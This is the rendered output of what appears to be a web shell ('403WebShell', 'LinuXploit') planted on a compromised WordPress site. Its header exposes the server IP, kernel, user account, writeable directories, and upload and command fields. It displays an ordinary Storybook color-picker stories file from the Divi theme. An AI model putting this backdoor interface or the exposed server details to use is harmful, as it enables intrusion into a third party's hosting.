404 Not Found


nginx
403WebShell
403Webshell
Server IP : 85.187.128.60  /  Your IP : 216.73.217.71
Web Server : LiteSpeed
System : Linux sg1-ts103.a2hosting.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : homeliho ( 1690)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/homeliho/homepu.house/wp-content/themes/Divi/common/stories/controls/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/homeliho/homepu.house/wp-content/themes/Divi/common/stories/controls/color.stories.js
// External dependencies.
import React from 'react';

// Internal dependencies.
import { useArgs } from '@storybook/preview-api';
import ETBuilderControlColor from '../../controls/color/color';
import { action } from '@storybook/addon-actions';

export default {
  title: 'Controls/ColorPicker',
  component: ETBuilderControlColor,
  render: (args) => {
    const [, updateArgs] = useArgs();

    const handleChange = (name, color) => {
      updateArgs({ value: color });
      action('color changed')(name, color);
    };

    return (
      <div style={{ width: '30vw' }}>
        <ETBuilderControlColor
          {...args}
          _onChange={handleChange}
        />
      </div>
    );
  },
  argTypes: {
    _onChange: {
      table: {
        disable: true,
      },
    },
    value: {
      control: 'color',
    }
  },
};


export const Default = {
  args: {
    animate: true,
    hideHarmoniusColors: false,
    name: 'Default color',
  },
};

export const WithPreview = {
  ...Default.args,
  title: 'With Preview',
  args: {
    ...Default.args,
    hasPreview: true,
    name: 'With Preview',
  },
};

export const ReadonlyColorPicker = {
  ...Default.args,
  title: 'Readonly Color Picker',
  args: {
    ...Default.args,
    readonly: true,
    name: 'Readonly Color Picker',
  },
};

export const WithAlphaChannel = {
  ...Default.args,
  title: 'With Alpha Channel',
  args: {
    ...Default.args,
    isAlpha: true,
    name: 'With Alpha Channel',
  },
};

export const CustomPalette = {
  ...Default.args,
  title: 'Custom Palette',
  args: {
    ...Default.args,
    showPickerPalettes: true,
    hideHarmoniusColors: false,
    name: 'Custom Palette',
    value: '#ff69b4',
  },
};

Youez - 2016 - github.com/yon3zu
LinuXploit